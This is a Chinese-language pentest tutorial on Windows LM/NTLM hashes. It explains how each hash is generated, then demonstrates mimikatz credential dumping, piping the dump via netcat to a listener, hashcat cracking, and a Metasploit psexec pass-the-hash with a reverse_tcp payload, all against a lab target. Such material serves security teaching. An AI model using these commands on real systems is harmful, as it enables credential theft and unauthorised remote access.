浅谈Windows Hash

  信息安全

0x00 Hash简介

Hash一般被翻译成“散列”,也可直接音译为“哈希”,就是把任意长度的输入,通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,所以不可能从散列值来唯一的确定输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。Hash主要用于信息安全领域中加密算法,它把一些不同长度的信息转化成杂乱的128位的编码,这些编码值叫做Hash值. 也可以说,通俗的说Hash就是找到一种数据内容和数据存放地址之间的映射关系。渗透测试中获取目标系统的明文或Hash往往是整个渗透测试过程中重要的一环。在Windows系统中本机用户的密码Hash是放在本地的SAM文件里面,域内用户的密码Hash是存在域控的NTDS.DIT文件里面。

0x01 什么是Windows Hash

Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash

LM Hash

LAN Manager(LM)Hash是Windows系统所用的第一种密码哈希算法,是一种较古老的Hash,在LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据。它只有唯一一个版本且一直用到了NT LAN Manager(NTLM)Hash的出现,在Windows Vista/Windows 7/Windows Server 2008以及后面的系统中,LM Hash算法是默认关闭的,LM算法是在DES基础上实现的,缺点是不区分字母大小写而且密码最大长度有限。

生成算法如下:

  1. 用户的密码字符串被全部转换成大写字母形式;
  2. 给密码字符串增加空字符,直到使其包含有14个字符为止;
  3. “新”得到的密码字符串被分成两半,每一半分别包含7个字符;
  4. 每一半字符串都各自添加一个校验位,分别用于创建两个64位的DES加密密钥;
  5. 所生成的每一个DES密钥都被用于加密一个固定的ASCII字符串KGS!@#$%,得到两个长度为8字节的密文;
  6. 两个8字节的密文合并起来,形成1个16字节的字符串即最终的HASH值。

NTLM Hash

NT LAN Manager(NTLM)Hash是Windows系统认可的另一种算法,用于替代古老的LM Hash,一般指Windows系统下Security Account Manager(SAM)中保存的用户密码hash,在Windows Vista/Windows 7/Windows Server 2008以及后面的系统中,NTLM-Hash算法是默认启用的。NTLM-Hash与LM-Hash算法相比,明文口令大小写敏感,但无法根据NTLM-Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串”KGS!@#$%”。NTLM算法基于MD4哈希算法,MD4是真正的单向哈希函数,穷举做为数据源出现的明文,难度较大。

生成算法如下:

  1. 先将用户密码转换为十六进制格式。
  2. 将十六进制格式的密码进行Unicode编码。
  3. 使用MD4摘要算法对Unicode编码数据进行Hash计算

0x02 抓取Windows Hash

常用抓取工具:

  • mimikatz
  • SAMInside
  • QuarksPwDump
  • NTDSDumpEx

下面以mimikatz(https://github.com/gentilkiwi/mimikatz)为例,演示利用过程

本地抓取

1.提升权限

privilege::debug

2.抓取Hash密码

sekurlsa::logonpasswords

这种方法只能抓取登陆过的用户Hash,无法抓取所有域用户Hash;域渗透一般先通过Volume Shadow Copy服务获得域控服务器NTDS.dit文件,再从其中导出域内所有用户的Hash

远程抓取

模拟渗透测试中本机A抓取靶机B的Windows Hash

1.本机开启监听

nc -lvp 7777

2.将靶机抓取到的结果用nc发送到指定的远程机

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" | nc -v 本机IP 7777

成功得到抓取结果

Authentication Id : 0 ; 362268 (00000000:0005871c)
Session           : Interactive from 1
User Name         : admin
Domain            : WIN-ODFBD511BFQ
Logon Server      : WIN-ODFBD511BFQ
Logon Time        : 2020/11/11 20:41:45
SID               : S-1-5-21-2283148158-263824608-889840277-1000
msv :
 [00000003] Primary
 * Username : admin
 * Domain   : WIN-ODFBD511BFQ
 * LM       : e52cac67419a9a224a3b108f3fa6cb6d
 * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
 * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
tspkg :
 * Username : admin
 * Domain   : WIN-ODFBD511BFQ
 * Password : password
wdigest :
 * Username : admin
 * Domain   : WIN-ODFBD511BFQ
 * Password : password
kerberos :
 * Username : admin
 * Domain   : WIN-ODFBD511BFQ
 * Password : password
ssp :
credman :

这里的测试靶机是Win7,而Win10无法使用mimikatz读取到明文密码,只能直接读取到加密后的NTLM密文。我们可以使用Hashcat(https://github.com/hashcat/hashcat)来爆破明文,Hashcat支持多种Hash类型解密,其中LM Hash和NTLM Hash对应的hash编号分别为3000和1000,分别进行爆破

hashcat -a 0 -m 3000 --force '密文' 字典
hashcat -a 0 -m 1000 --force '密文' 字典

随着大众信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到hash却解不开的情况,这样我们就需要用到PTH攻击即Hash传递攻击

0x03 Hash传递攻击

Hash传递(PASS THE Hash)攻击,简称PTH攻击。当我们抓取到某台主机的Administrator用户的LM-Hash和 NTLM-Hash ,并且该主机的开启了445端口。我们就可以利用 exploit/windows/smb/psexec 漏洞用MSF进行远程登录

msf > use  exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 本机IP
msf exploit(psexec) > set rhost 靶机IP
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass LM-Hash:NTLM-Hash 
msf exploit(psexec) > exploit

由于在Windows Vista/Windows 7/Windows Server 2008以及后面的系统中,LM-Hash算法是默认关闭的,不用来验证,这里的LM-Hash可以替换为任意32个字符

0x04 参考链接

https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm

https://www.sqlsec.com/2019/11/winhash.html

https://www.secpulse.com/archives/65256.html

https://github.com/gentilkiwi/mimikatz

– END –